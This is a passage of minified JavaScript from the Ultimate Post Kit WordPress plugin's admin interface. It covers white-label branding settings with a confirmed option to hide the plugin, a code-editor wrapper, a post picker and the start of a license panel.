254.8",fill:"currentColor","aria-hidden":"true",...a},(0,e.createElement)("rect",{x:"22.7",y:"25.6",width:"185",height:"43.6",rx:"5.5"}),(0,e.createElement)("rect",{x:"22.7",y:"105.6",width:"185",height:"43.6",rx:"5.5"}),(0,e.createElement)("rect",{x:"22.7",y:"185.6",width:"104.5",height:"43.6",rx:"5.5"}),(0,e.createElement)("rect",{x:"22.7",y:"40.2",width:"43.6",height:"92.3",rx:"5.5"}),(0,e.createElement)("rect",{x:"164.1",y:"105.6",width:"43.6",height:"123.6",rx:"5.5"})),pn="font-bold underline hover:no-underline";function xn({draft:t}){const a=t.enabled&&t.title?t.title:"Ultimate Post Kit",n=t.icon_url?(0,e.createElement)("img",{src:t.icon_url,alt:"",className:"w-3 h-3 object-contain"}):(0,e.createElement)(un,{size:12});return(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-[18px] shadow-resting"},(0,e.createElement)("div",{className:"flex items-center justify-between mb-3"},(0,e.createElement)("span",{className:"text-[11px] font-bold tracking-[.1em] uppercase text-[#6d6d74] dark:text-ink-muted"},(0,_e.__)("Live preview","ultimate-post-kit")),(0,e.createElement)("span",{className:"flex items-center gap-[6px] text-[10.5px] font-extrabold text-[#15803d] bg-[#ecfdf3] dark:bg-[#0f2318] dark:text-[#4ade80] py-[3px] px-[9px] rounded-full"},(0,e.createElement)("span",{className:"w-[6px] h-[6px] rounded-full bg-[#22c55e]"}),(0,_e.__)("Updating live","ultimate-post-kit"))),(0,e.createElement)("div",{className:"border border-[#e2e2e6] dark:border-ink-border rounded-[12px] overflow-hidden"},(0,e.createElement)("div",{className:"flex items-center justify-between py-[9px] px-3 bg-brand text-white"},(0,e.createElement)("div",{className:"flex items-center gap-2 text-[12.5px] font-bold"},(0,e.createElement)("span",{className:"w-[18px] h-[18px] rounded-[5px] bg-white/[.22] grid place-items-center"},n),a),(0,e.createElement)("span",{className:"text-[9.5px] font-bold bg-black/25 py-[2px] px-2 rounded-full"},(0,_e.__)("PRO","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex"},(0,e.createElement)("div",{className:"w-[120px] flex-none bg-[#1d2327] py-2"},(0,e.createElement)("div",{className:"flex items-center gap-2 py-[7px] px-3 text-[#c3c4c7] text-[11.5px]"},(0,e.createElement)("svg",{width:"12",height:"12",viewBox:"0 0 24 24",fill:"#c3c4c7"},(0,e.createElement)("rect",{x:"3",y:"4",width:"18",height:"3",rx:"1"}),(0,e.createElement)("rect",{x:"3",y:"10",width:"18",height:"3",rx:"1"}),(0,e.createElement)("rect",{x:"3",y:"16",width:"18",height:"3",rx:"1"})),(0,_e.__)("Pages","ultimate-post-kit")),(0,e.createElement)("div",{className:"flex items-center gap-2 py-2 px-3 text-white text-[11.5px] font-bold bg-brand border-l-[3px] border-white"},(0,e.createElement)("span",{className:"w-[14px] h-[14px] grid place-items-center text-white"},n),(0,e.createElement)("span",{className:"truncate"},a)),(0,e.createElement)("div",{className:"flex items-center gap-2 py-[7px] px-3 text-[#c3c4c7] text-[11.5px]"},(0,e.createElement)("svg",{width:"12",height:"12",viewBox:"0 0 24 24",fill:"#c3c4c7"},(0,e.createElement)("circle",{cx:"12",cy:"8",r:"4"}),(0,e.createElement)("path",{d:"M4 21a8 8 0 0 1 16 0Z"})),(0,_e.__)("Users","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex-1 bg-[#f0f0f1] p-3"},(0,e.createElement)("div",{className:"text-[13px] font-extrabold text-[#1d2327] truncate"},a," Ā· ",(0,_e.__)("Dashboard","ultimate-post-kit")),(0,e.createElement)("div",{className:"h-[7px] w-[70%] rounded-[3px] bg-[#d8d8dd] mt-[9px]"}),(0,e.createElement)("div",{className:"h-[7px] w-[52%] rounded-[3px] bg-[#e3e3e7] mt-[7px]"}),(0,e.createElement)("div",{className:"flex gap-[7px] mt-[11px]"},(0,e.createElement)("div",{className:"h-[30px] flex-1 rounded-md bg-white border border-[#e2e2e6]"}),(0,e.createElement)("div",{className:"h-[30px] flex-1 rounded-md bg-white border border-[#e2e2e6]"}))))),(0,e.createElement)("div",{className:"text-xs text-[#6d6d74] dark:text-ink-muted mt-[14px] leading-[1.55]"},t.enabled?(0,_e.__)("Clients see your branding — no mention of Ultimate Post Kit in the admin.","ultimate-post-kit"):(0,_e.__)("Enable white label mode to replace Ultimate Post Kit branding.","ultimate-post-kit")))}function bn({label:t,hint:a,url:n,onPick:r,onRemove:l,imgClassName:i}){return(0,e.createElement)("div",{className:"flex-1 min-w-[200px]"},(0,e.createElement)("div",{className:"text-[12px] font-extrabold text-[#52525b] dark:text-ink-muted mb-[7px]"},t),n?(0,e.createElement)("div",{className:"relative group/media w-full h-[104px] border border-[#e9e9ed] dark:border-ink-border rounded-[13px] bg-[#fafbfc] dark:bg-ink-subtle grid place-items-center overflow-hidden"},(0,e.createElement)("img",{src:n,alt:"",className:i}),(0,e.createElement)("div",{className:"absolute inset-0 bg-[rgba(15,17,21,.55)] opacity-0 group-hover/media:opacity-100 transition-opacity duration-150 grid place-items-center"},(0,e.createElement)("div",{className:"flex items-center gap-2"},(0,e.createElement)("button",{type:"button",onClick:r,className:"flex items-center gap-[5px] bg-white text-[#18181b] border-0 py-[6px] px-3 rounded-full text-[11.5px] font-bold cursor-pointer"},(0,e.createElement)(mn,{size:12}),(0,_e.__)("Replace","ultimate-post-kit")),(0,e.createElement)("button",{type:"button",onClick:l,"aria-label":(0,_e.__)("Remove image","ultimate-post-kit"),className:"flex items-center gap-[5px] bg-[#e11d48] text-white border-0 py-[6px] px-3 rounded-full text-[11.5px] font-bold cursor-pointer"},(0,e.createElement)(dn,{size:12}),(0,_e.__)("Remove","ultimate-post-kit"))))):(0,e.createElement)("button",{type:"button",onClick:r,className:"w-full h-[104px] border-[1.5px] border-dashed border-[#d4d4d8] dark:border-ink-border rounded-[13px] bg-transparent grid place-items-center cursor-pointer text-[#6d6d74] dark:text-ink-muted transition-colors duration-150 hover:border-brand hover:text-brand hover:bg-[#f3fcf6] dark:hover:bg-[#0f2a1c]"},(0,e.createElement)("span",{className:"flex flex-col items-center gap-[5px]"},(0,e.createElement)(mn,{size:18}),(0,e.createElement)("span",{className:"text-[12px] font-bold"},(0,_e.__)("Upload image","ultimate-post-kit")),a?(0,e.createElement)("span",{className:"text-[10.5px] font-medium opacity-90"},a):null)))}const fn={enabled:!1,hide_license:!1,bdtupk_hide:!1,title:"",icon_url:"",icon_id:0,logo_url:"",logo_id:0};function gn({data:a={}}){const[n,r]=(0,t.useState)(()=>({...fn,...a.values||{}})),[l,i]=(0,t.useState)({}),[o,s]=(0,t.useState)(!1),[c,d]=(0,t.useState)(""),[m,u]=(0,t.useState)(null),p=Vt(),x=!!a.license_active,b=!!a.license_eligible,f=x&&b,g=(0,t.useMemo)(()=>({...n,...l}),[n,l]),k=f&&!m&&Object.keys(l).some(e=>l[e]!==n[e]),h=(e,t)=>{i(a=>({...a,[e]:t}))},_=e=>{e?window.location.href=a.redirect_url||`${ye.adminUrl||""}index.php`:window.location.reload()},E=e=>{(function({title:e,buttonText:t,onSelect:a}){if(!window.wp||!window.wp.media)return!1;const n=window.wp.media({title:e||"Select image",button:{text:t||"Use image"},multiple:!1,library:{type:["image/jpeg","image/jpg","image/png","image/svg+xml"]}});return n.on("select",()=>{const e=n.state().get("selection").first().toJSON();a(e)}),n.open(),!0})({title:"icon"===e?(0,_e.__)("Select Icon","ultimate-post-kit"):(0,_e.__)("Select Logo","ultimate-post-kit"),buttonText:"icon"===e?(0,_e.__)("Use This Icon","ultimate-post-kit"):(0,_e.__)("Use This Logo","ultimate-post-kit"),onSelect:t=>{"icon"===e?(h("icon_url",t.url),h("icon_id",t.id)):(h("logo_url",t.url),h("logo_id",t.id))}})||window.alert((0,_e.__)("Media library is not available.","ultimate-post-kit"))};let v=(0,_e.__)("Hide Ultimate Post Kit branding from the admin and widgets.","ultimate-post-kit");x?b||(v=(0,_e.__)("This feature requires an eligible license (Agency, Extended, Developer, AppSumo Lifetime, etc.). Upgrade your license to access white label functionality.","ultimate-post-kit")):v=(0,_e.__)("This feature requires an active Ultimate Post Kit license. Please activate your license first.","ultimate-post-kit");const w=g.enabled&&g.bdtupk_hide&&!n.bdtupk_hide?(0,_e.__)("Saving hides Ultimate Post Kit and emails an access link","ultimate-post-kit"):void 0;return(0,e.createElement)("div",{className:"flex flex-col gap-4"},x?null:(0,e.createElement)(Ht,{tone:"error"},(0,e.createElement)("strong",null,(0,_e.__)("License Not Activated.","ultimate-post-kit"))," ",(0,_e.__)("Activate your Ultimate Post Kit license to use white label features.","ultimate-post-kit")," ",(0,e.createElement)("a",{href:a.license_url,className:pn},(0,_e.__)("Activate License","ultimate-post-kit"))," Ā· ",(0,e.createElement)("a",{href:a.upgrade_url,target:"_blank",rel:"noreferrer",className:pn},(0,_e.__)("Get License","ultimate-post-kit"))),x&&!b?(0,e.createElement)(Ht,{tone:"warning"},(0,e.createElement)("strong",null,(0,_e.__)("Eligible License Required.","ultimate-post-kit"))," ",(0,_e.__)("White label is available for Agency, Extended, Developer, AppSumo Lifetime, and other eligible license holders.","ultimate-post-kit")," ",(0,e.createElement)("a",{href:a.upgrade_url,target:"_blank",rel:"noreferrer",className:pn},(0,_e.__)("Upgrade License","ultimate-post-kit"))):null,c?(0,e.createElement)(Ht,{tone:"error",onDismiss:()=>d("")},c):null,m&&m.reloading?(0,e.createElement)(Ht,{tone:"success"},(0,_e.__)("White label settings saved. Reloading…","ultimate-post-kit")):null,m&&m.accessUrl?(0,e.createElement)(Ht,{tone:"success"},(0,e.createElement)("strong",null,(0,_e.__)("White label settings saved.","ultimate-post-kit"))," ",(0,_e.__)("The access email could not be sent from this site. Save this link: you need it to change these settings while BDTUPK_HIDE is active.","ultimate-post-kit")," ",(0,e.createElement)("a",{href:m.accessUrl,target:"_blank",rel:"noreferrer",className:`${pn} break-all`},(0,_e.__)("Access white label settings","ultimate-post-kit"))," Ā· ",(0,e.createElement)("button",{type:"button",onClick:()=>_(!0),className:`${pn} bg-transparent border-0 p-0 cursor-pointer text-inherit`},(0,_e.__)("Continue","ultimate-post-kit"))):null,f&&n.bdtupk_hide&&!m?(0,e.createElement)(Ht,{tone:"warning"},(0,e.createElement)("strong",null,(0,_e.__)("BDTUPK_HIDE Currently Active.","ultimate-post-kit"))," ",(0,_e.__)("Advanced white label mode is enabled. Ultimate Post Kit menus are hidden from the admin interface.","ultimate-post-kit")):null,(0,e.createElement)("div",{className:"grid grid-cols-[1.4fr_1fr] max-[1024px]:grid-cols-1 gap-4 items-start"},(0,e.createElement)(Ta,{icon:at,iconClassName:gt("violet"),title:(0,_e.__)("Branding","ultimate-post-kit")},(0,e.createElement)(sn,{label:(0,_e.__)("Enable white label mode","ultimate-post-kit"),description:v},(0,e.createElement)(Gt,{checked:!!g.enabled,onChange:e=>h("enabled",e),disabled:!f,label:(0,_e.__)("Enable white label mode","ultimate-post-kit")})),f&&g.enabled?(0,e.createElement)(e.Fragment,null,(0,e.createElement)(sn,{label:(0,_e.__)("White label title","ultimate-post-kit"),description:(0,_e.__)("Replaces ā€œUltimate Post Kitā€ branding throughout the plugin.","ultimate-post-kit")},(0,e.createElement)("input",{type:"text",value:g.title,placeholder:(0,_e.__)("e.g. Site Posts","ultimate-post-kit"),onChange:e=>h("title",e.target.value),className:"w-full py-[10px] px-[14px] border border-[#e2e2e6] dark:border-[#2a313c] rounded-btn text-sm bg-white dark:bg-ink-card text-[#18181b] dark:text-ink-text outline-none placeholder:text-[#6d6d74] dark:placeholder:text-ink-muted focus:border-brand focus:shadow-[0_0_0_3px_rgba(8,201,114,.15)] disabled:opacity-60 disabled:cursor-not-allowed !w-[250px] max-w-full"})),(0,e.createElement)(sn,{label:(0,_e.__)("Brand images","ultimate-post-kit"),description:(0,_e.__)("The icon replaces the sidebar menu icon; the logo replaces the Ultimate Post Kit logo in the admin header.","ultimate-post-kit"),stacked:!0},(0,e.createElement)("div",{className:"flex flex-wrap gap-4"},(0,e.createElement)(bn,{label:(0,_e.__)("Plugin icon","ultimate-post-kit"),hint:(0,_e.__)("Square Ā· 20Ɨ20px Ā· JPG, PNG or SVG","ultimate-post-kit"),url:g.icon_url,imgClassName:"w-12 h-12 rounded-[10px] object-contain",onPick:()=>E("icon"),onRemove:()=>{h("icon_url",""),h("icon_id",0)}}),(0,e.createElement)(bn,{label:(0,_e.__)("Plugin logo","ultimate-post-kit"),hint:(0,_e.__)("Wide Ā· 200Ɨ40px Ā· JPG, PNG or SVG","ultimate-post-kit"),url:g.logo_url,imgClassName:"max-h-10 max-w-[85%] object-contain",onPick:()=>E("logo"),onRemove:()=>{h("logo_url",""),h("logo_id",0)}}))),(0,e.createElement)(sn,{label:(0,_e.__)("Hide license menu","ultimate-post-kit"),description:(0,_e.__)("Hides the License menu from the admin sidebar while white label mode is on.","ultimate-post-kit")},(0,e.createElement)(Gt,{checked:!!g.hide_license,onChange:e=>h("hide_license",e),label:(0,_e.__)("Hide license menu","ultimate-post-kit")})),(0,e.createElement)(sn,{label:(0,_e.__)("Enable BDTUPK_HIDE constant","ultimate-post-kit"),description:(0,e.createElement)(e.Fragment,null,(0,_e.__)("Hides Ultimate Post Kit menus and branding throughout the admin. An access link is emailed to your license address so you can get back in:","ultimate-post-kit")," ",(0,e.createElement)("strong",null,a.license_email))},(0,e.createElement)(Gt,{checked:!!g.bdtupk_hide,onChange:e=>{e&&!window.confirm((0,_e.__)("WARNING: ADVANCED FEATURE\n\nEnabling BDTUPK_HIDE will activate advanced white label mode that:\n\n• Hides ALL Ultimate Post Kit branding and menus\n• Makes these settings difficult to access later\n• Requires the special access link to return\n\nAn email with access instructions will be sent if you proceed.\n\nAre you sure you want to enable this advanced mode?","ultimate-post-kit"))||h("bdtupk_hide",e)},label:(0,_e.__)("Enable BDTUPK_HIDE constant","ultimate-post-kit")}))):null),(0,e.createElement)(xn,{draft:g})),(0,e.createElement)(Jt,{visible:k,saving:o,onSave:async()=>{if(g.enabled&&g.bdtupk_hide&&!window.confirm((0,_e.sprintf)(/* translators: %s: license email address. */ /* translators: %s: license email address. */
(0,_e.__)("FINAL CONFIRMATION\n\nYou are about to save settings with BDTUPK_HIDE enabled.\n\nThis will:\n• Hide Ultimate Post Kit from WordPress admin immediately\n• Send access instructions to your email addresses\n• Require the special link to modify these settings\n\nEmail will be sent to:\n• License email: %s\n\nAre you absolutely sure you want to proceed?","ultimate-post-kit"),a.license_email||"")))return;let e;s(!0),d("");try{e=await async function(e,t){const a=new window.FormData;let n;a.append("action",e.actions&&e.actions.save||"upk_save_white_label"),a.append("nonce",e.nonce||""),a.append("upk_white_label_enabled",t.enabled?"1":"0"),a.append("upk_white_label_title",t.title||""),a.append("upk_white_label_icon",t.icon_url||""),a.append("upk_white_label_icon_id",t.icon_id?String(t.icon_id):""),a.append("upk_white_label_hide_license",t.hide_license?"1":"0"),a.append("upk_white_label_bdtupk_hide",t.bdtupk_hide?"1":"0"),a.append("upk_white_label_logo",t.logo_url||""),a.append("upk_white_label_logo_id",t.logo_id?String(t.logo_id):"");let r=null;try{n=await window.fetch(ye.ajaxUrl,{method:"POST",credentials:"same-origin",body:a}),r=await n.json()}catch(e){r=null}if(!r||"object"!=typeof r)throw new Error((0,_e.sprintf)(/* translators: %s: HTTP status code or error text. */ /* translators: %s: HTTP status code or error text. */
(0,_e.__)("Failed to save settings. Please try again. (%s)","ultimate-post-kit"),n?n.status:"error"));if(!r.success)throw new Error(r.data&&r.data.message||(0,_e.__)("Unknown error occurred","ultimate-post-kit"));return r.data||{}}(a,g)}catch(e){return s(!1),d(e.message),void p(e.message,{tone:"error"})}r(g),i({}),s(!1);let t=e.message||(0,_e.__)("White label settings saved.","ultimate-post-kit");e.bdtupk_hide&&e.email_sent?t=`${t} ${(0,_e.__)("Access email sent: check your inbox for the link to these settings.","ultimate-post-kit")}`:e.bdtupk_hide&&!e.access_url&&(t=`${t} ${(0,_e.__)("The access email could not be sent. Check your email settings or contact support.","ultimate-post-kit")}`),p(t),e.bdtupk_hide&&!e.email_sent&&e.access_url?u({accessUrl:e.access_url,hidden:!0}):(u({reloading:!0}),window.setTimeout(()=>_(!!e.bdtupk_hide),1500))},onReset:()=>i({}),message:w,saveLabel:(0,_e.__)("Save white label","ultimate-post-kit")}))}const kn="#upk-admin-app .upk-code-editor",hn="#upk-admin-app[data-upk-theme='dark'] .upk-code-editor",En=`\n${kn} .CodeMirror {\n\tborder: 1px solid #e2e2e6;\n\tborder-radius: 11px;\n\tmin-height: 190px;\n\theight: auto;\n\tfont-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;\n\tfont-size: 12.5px;\n\tline-height: 1.6;\n\ttransition: border-color 0.15s, box-shadow 0.15s;\n}\n${kn} .CodeMirror-scroll {\n\tmin-height: 190px;\n}\n${kn} .CodeMirror-focused {\n\tborder-color: #00a85c;\n\tbox-shadow: 0 0 0 3px rgba(8,201,114, 0.15);\n}\n${kn} .CodeMirror-gutters {\n\tborder-top-left-radius: 10px;\n\tborder-bottom-left-radius: 10px;\n\tborder-right: 1px solid #eef0f3;\n\tbackground: #fafbfc;\n}\n${kn} .CodeMirror-cursor {\n\tborder-left: 1px solid #000;\n\tborder-right: 0;\n}\n${kn} .CodeMirror-dialog-top {\n\tborder-bottom: 1px solid #eee;\n}\n${kn} .CodeMirror-dialog-bottom {\n\tborder-top: 1px solid #eee;\n}\n${kn} .CodeMirror-dialog input {\n\tborder: 0;\n\tbackground: transparent;\n\tcolor: inherit;\n}\n\n${hn} .CodeMirror {\n\tbackground: #12161c;\n\tcolor: #e4e4e7;\n\tborder-color: #262c36;\n}\n${hn} .CodeMirror-gutters {\n\tbackground: #161a21;\n\tborder-right-color: #262c36;\n}\n${hn} .CodeMirror-linenumber {\n\tcolor: #5b6270;\n}\n${hn} .CodeMirror-cursor {\n\tborder-left-color: #e4e4e7;\n}\n${hn} .CodeMirror-selected,\n${hn} .CodeMirror-focused .CodeMirror-selected {\n\tbackground: rgba(8,201,114, 0.28);\n}\n${hn} .CodeMirror-activeline-background {\n\tbackground: rgba(255, 255, 255, 0.045);\n}\n${hn} .CodeMirror-matchingbracket {\n\tcolor: #84ed92 !important;\n\tbackground: rgba(132, 237, 146, 0.15);\n}\n${hn} .CodeMirror-dialog {\n\tbackground: #161a21;\n\tcolor: #e4e4e7;\n\tborder-color: #262c36;\n}\n${hn} .cm-comment { color: #8b949e; }\n${hn} .cm-string,\n${hn} .cm-string-2 { color: #a5d6ff; }\n${hn} .cm-number { color: #f2cc60; }\n${hn} .cm-keyword { color: #ff7b72; }\n${hn} .cm-operator { color: #ff7b72; }\n${hn} .cm-def { color: #d2a8ff; }\n${hn} .cm-variable { color: #e4e4e7; }\n${hn} .cm-variable-2,\n${hn} .cm-variable-3,\n${hn} .cm-property { color: #79c0ff; }\n${hn} .cm-atom { color: #56d364; }\n${hn} .cm-qualifier { color: #d2a8ff; }\n${hn} .cm-builtin { color: #ffa657; }\n${hn} .cm-tag { color: #7ee787; }\n${hn} .cm-attribute { color: #79c0ff; }\n${hn} .cm-meta { color: #ffa657; }\n${hn} .cm-error { color: #ffa198; }\n`;function vn(){return(0,e.createElement)("style",null,En)}function wn({value:a,onChange:n,settings:r,ariaLabel:l,placeholder:i,rows:o=8}){const s=(0,t.useRef)(null),c=(0,t.useRef)(null),d=(0,t.useRef)(n);return d.current=n,(0,t.useEffect)(()=>{const e=s.current,t=window.wp&&window.wp.codeEditor;if(!e||!t||!r)return;let a=null;const n=()=>{a=t.initialize(e,r).codemirror,c.current=a,a.on("change",()=>{d.current&&d.current(a.getValue())})};return"loading"===document.readyState?document.addEventListener("DOMContentLoaded",n,{once:!0}):n(),()=>{document.removeEventListener("DOMContentLoaded",n),a&&a.toTextArea(),c.current=null}},[r]),(0,t.useEffect)(()=>{const e=c.current;e&&(null!=a?a:"")!==e.getValue()&&e.setValue(null!=a?a:"")},[a]),(0,e.createElement)("div",{className:"upk-code-editor"},(0,e.createElement)("textarea",{ref:s,"aria-label":l,placeholder:i,rows:o,value:a||"",onChange:e=>n(e.target.value),className:"w-full py-[10px] px-[14px] border border-[#e2e2e6] dark:border-[#2a313c] rounded-btn text-sm bg-white dark:bg-ink-card text-[#18181b] dark:text-ink-text outline-none placeholder:text-[#6d6d74] dark:placeholder:text-ink-muted focus:border-brand focus:shadow-[0_0_0_3px_rgba(8,201,114,.15)] font-mono text-[13px] leading-relaxed min-h-[140px]"}))}function yn({label:t,description:a,children:n,stacked:r=!1}){return(0,e.createElement)("div",{className:(r?"flex flex-col gap-3":"flex flex-wrap items-center justify-between gap-x-6 gap-y-3")+" py-[18px] px-7 max-[640px]:px-5 border-t border-[#f3f3f6] dark:border-ink-border transition-colors hover:bg-[#fbfbfd] dark:hover:bg-[#1a1f27]"},(0,e.createElement)("div",{className:"flex-1 min-w-[200px]"},(0,e.createElement)("div",{className:"flex items-center gap-[9px]"},(0,e.createElement)("span",{className:"text-[15.5px] font-bold text-[#1a1a1f] dark:text-ink-text tracking-[-.01em]"},t)),a?(0,e.createElement)("div",{className:"upk-rich-desc text-[13px] text-[#6d6d74] dark:text-ink-muted mt-[3px]"},a):null),n?(0,e.createElement)("div",{className:r?"":"flex-none"},n):null)}function Nn(e){const t=e.title||(0,_e.__)("(no title)","ultimate-post-kit");return e.type?`${t} (${e.type})`:t}function Mn({text:t,query:a}){const n=a?t.toLowerCase().indexOf(a):-1;return n<0?t:(0,e.createElement)(e.Fragment,null,t.slice(0,n),(0,e.createElement)("span",{className:"underline"},t.slice(n,n+a.length)),t.slice(n+a.length))}function Cn({items:a=[],value:n=[],onChange:r,ariaLabel:l,help:i}){const[o,s]=(0,t.useState)(""),[c,d]=(0,t.useState)(!1),[m,u]=(0,t.useState)(-1),p=(0,t.useRef)(null),x=(0,t.useRef)(null),b=(0,t.useRef)(`upk-token-list-${Math.random().toString(36).slice(2,8)}`).current,f=(0,t.useMemo)(()=>{const e=new Map;return a.forEach(t=>e.set(t.id,t)),e},[a]),g=o.trim().toLowerCase(),k=(0,t.useMemo)(()=>{const e=new Set(n);return a.filter(t=>!e.has(t.id)&&(!g||`${Nn(t)} ${t.date||""}`.toLowerCase().includes(g)))},[a,n,g]),h=c&&k.length>0;(0,t.useEffect)(()=>{if(!x.current||m<0)return;const e=x.current.children[m];e&&e.scrollIntoView&&e.scrollIntoView({block:"nearest"})},[m]);const _=e=>{n.includes(e)||r([...n,e]),s(""),u(-1),d(!0),p.current&&p.current.focus()},E=e=>{r(n.filter(t=>t!==e)),p.current&&p.current.focus()};return(0,e.createElement)("div",null,(0,e.createElement)("div",{onClick:()=>p.current&&p.current.focus(),className:"flex flex-wrap items-center gap-1 min-h-[40px] py-[4px] px-2 border border-[#949494] dark:border-[#2a313c] rounded-[2px] bg-white dark:bg-ink-card cursor-text transition-shadow focus-within:border-brand focus-within:shadow-[0_0_0_.5px_#00a85c]"},n.map(t=>{const a=f.get(t),n=a?Nn(a):`#${t}`;return(0,e.createElement)("span",{key:t,className:"inline-flex items-stretch text-[13px] leading-6 text-[#1e1e1e] dark:text-ink-text max-w-full"},(0,e.createElement)("span",{className:"bg-[#ddd] dark:bg-[#262c36] rounded-l-[2px] pl-2 pr-1 truncate",title:a&&a.date?`${n} — ${a.date}`:n},n),(0,e.createElement)("button",{type:"button",onClick:e=>{e.stopPropagation(),E(t)},"aria-label":(0,_e.sprintf)(/* translators: %s: page or post title. */ /* translators: %s: page or post title. */
(0,_e.__)("Remove %s","ultimate-post-kit"),n),className:"bg-[#ddd] dark:bg-[#262c36] rounded-r-[2px] w-6 grid place-items-center text-[#1e1e1e] dark:text-ink-muted hover:text-[#cc1818] dark:hover:text-[#f87171]"},(0,e.createElement)(Ye,{size:12,strokeWidth:2.4})))}),(0,e.createElement)("input",{ref:p,type:"text",role:"combobox","aria-label":l,"aria-expanded":h,"aria-controls":b,"aria-autocomplete":"list","aria-activedescendant":h&&m>=0?`${b}-${m}`:void 0,autoComplete:"off",value:o,onChange:e=>{s(e.target.value),d(!0),u(e.target.value.trim()?0:-1)},onFocus:()=>d(!0),onBlur:()=>{d(!1),u(-1)},onKeyDown:e=>{switch(e.key){case"ArrowDown":e.preventDefault(),d(!0),u(e=>Math.min(e+1,k.length-1));break;case"ArrowUp":e.preventDefault(),u(e=>Math.max(e-1,0));break;case"Enter":case",":{const t=m>=0?k[m]:g&&k[0];("Enter"===e.key||t)&&e.preventDefault(),t&&_(t.id);break}case"Backspace":!o&&n.length&&E(n[n.length-1]);break;case"Escape":c&&(e.preventDefault(),d(!1),u(-1))}},className:"flex-1 min-w-[60px] h-[30px] min-h-0 m-0 p-0 px-1 border-0 rounded-none bg-transparent shadow-none focus:shadow-none outline-none focus:outline-none text-[13px] text-[#1e1e1e] dark:text-ink-text"}),h?(0,e.createElement)("ul",{ref:x,id:b,role:"listbox",className:"basis-full min-w-full max-h-[128px] overflow-y-auto border-t border-[#949494] dark:border-[#2a313c] -mx-2 -mb-[4px] mt-1"},k.map((t,a)=>(0,e.createElement)("li",{key:t.id,id:`${b}-${a}`,role:"option","aria-selected":a===m,onMouseDown:e=>e.preventDefault(),onMouseEnter:()=>u(a),onClick:()=>_(t.id),className:"flex items-center justify-between gap-3 min-h-[32px] py-1 px-3 text-[13px] cursor-pointer "+(a===m?"bg-brand text-white":"text-[#1e1e1e] dark:text-ink-text")},(0,e.createElement)("span",{className:"truncate"},(0,e.createElement)(Mn,{text:Nn(t),query:g})),t.date?(0,e.createElement)("span",{className:"flex-none text-[12px] "+(a===m?"text-white/80":"text-[#757575] dark:text-ink-muted")},t.date):null))):null),i?(0,e.createElement)("p",{className:"text-[12px] text-[#757575] dark:text-ink-muted mt-2"},i):null)}const Sn=["customCss","customJs","customCss2","customJs2"],Ln="block text-[12px] font-extrabold text-[#52525b] dark:text-ink-muted mb-[6px]",jn=()=>(0,_e.__)("An error occurred during rollback. Please try again.","ultimate-post-kit");function In({label:t,value:a}){return(0,e.createElement)("div",{className:"py-[14px] px-6 max-[640px]:px-5"},(0,e.createElement)("div",{className:"text-[10.5px] font-extrabold text-[#6d6d74] dark:text-ink-muted uppercase tracking-[.1em]"},t),(0,e.createElement)("div",{className:"text-[14px] font-bold text-[#1a1a1f] dark:text-ink-text mt-[5px]"},a))}function zn({icon:t,accent:a,title:n,subtitle:r,headline:l,description:i,points:o}){return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:n,subtitle:r}),(0,e.createElement)("div",{className:"rounded-card p-8 max-[640px]:p-5 relative overflow-hidden text-white [background:linear-gradient(135deg,#0a1912,#0f3a26)]"},(0,e.createElement)("div",{className:"absolute inset-0 pointer-events-none [background:radial-gradient(circle_at_85%_0%,rgba(8,201,114,.35),transparent_55%)]"}),(0,e.createElement)("div",{className:"relative max-w-[640px]"},(0,e.createElement)("div",{className:"flex items-center gap-2 text-[12px] font-bold tracking-[.12em] uppercase text-[#86efac]"},(0,_e.__)("Pro feature","ultimate-post-kit")),(0,e.createElement)("div",{className:"text-[26px] font-extrabold mt-2 tracking-[-.02em]"},l),(0,e.createElement)("p",{className:"text-[14px] text-white/75 mt-3 leading-[1.6]"},i),(0,e.createElement)("div",{className:"flex flex-wrap gap-3 mt-6"},(0,e.createElement)("a",{href:ye.getProUrl,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-2 bg-gradient-brand text-white py-3 px-6 rounded-full text-[14px] font-extrabold shadow-glow hover:-translate-y-px transition-all"},(0,e.createElement)(Fe,{size:15}),(0,_e.__)("Get Premium at 30% OFF","ultimate-post-kit")),(0,e.createElement)("a",{href:ye.pricingUrl,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-2 bg-white/[.12] border border-white/[.2] text-white py-3 px-6 rounded-full text-[14px] font-bold hover:bg-white/20 transition-colors"},(0,_e.__)("Compare Free vs Pro","ultimate-post-kit"),(0,e.createElement)(Be,{size:13}))))),(0,e.createElement)("div",{className:"grid grid-cols-2 max-[640px]:grid-cols-1 gap-4 mt-4"},o.map(n=>(0,e.createElement)("div",{key:n.title,className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5 flex gap-4"},(0,e.createElement)(Et,{icon:t,accent:a,size:"xl"}),(0,e.createElement)("div",{className:"min-w-0"},(0,e.createElement)("div",{className:"text-[15px] font-extrabold text-[#0f1115] dark:text-ink-text flex items-center gap-2 flex-wrap"},(0,e.createElement)(We,{size:14,className:"text-[#1a7d3d] dark:text-[#4ade80]"}),n.title,(0,e.createElement)(ua,null)),(0,e.createElement)("p",{className:"text-[13px] text-[#6c6c75] dark:text-ink-muted mt-1 mb-0 leading-[1.55]"},n.sub))))))}const Pn={ultimate_post_kit_license_settings:function({panel:a,data:n}){const[r,l]=(0,t.useState)(""),[i,o]=(0,t.useState)(null),[s,c]=(0,t.useState)(!1),[d,m]=(0,t.useState)(!1),[u,p]=(0,t.useState)(!0);if(!n)return(0,e.createElement)(Fa,{panel:a});if(n.page_hidden)return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("License","ultimate-post-kit")}),(0,e.createElement)(Qt,{title:(0,_e.__)("License management is hidden","ultimate-post-kit"),description:(0,_e.__)("This install uses white-label licensing. Manage the license from your agency dashboard.","ultimate-post-kit")}));const x=n.form||{},b=n.links||{},f=n.renew||{},g=!1!==n.can_manage;return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("License","ultimate-post-kit"),subtitle:(0,_e.__)("Manage your activation, updates and subscription.","ultimate-post-kit")}),(0,e.createElement)("div",{className:"flex flex-col 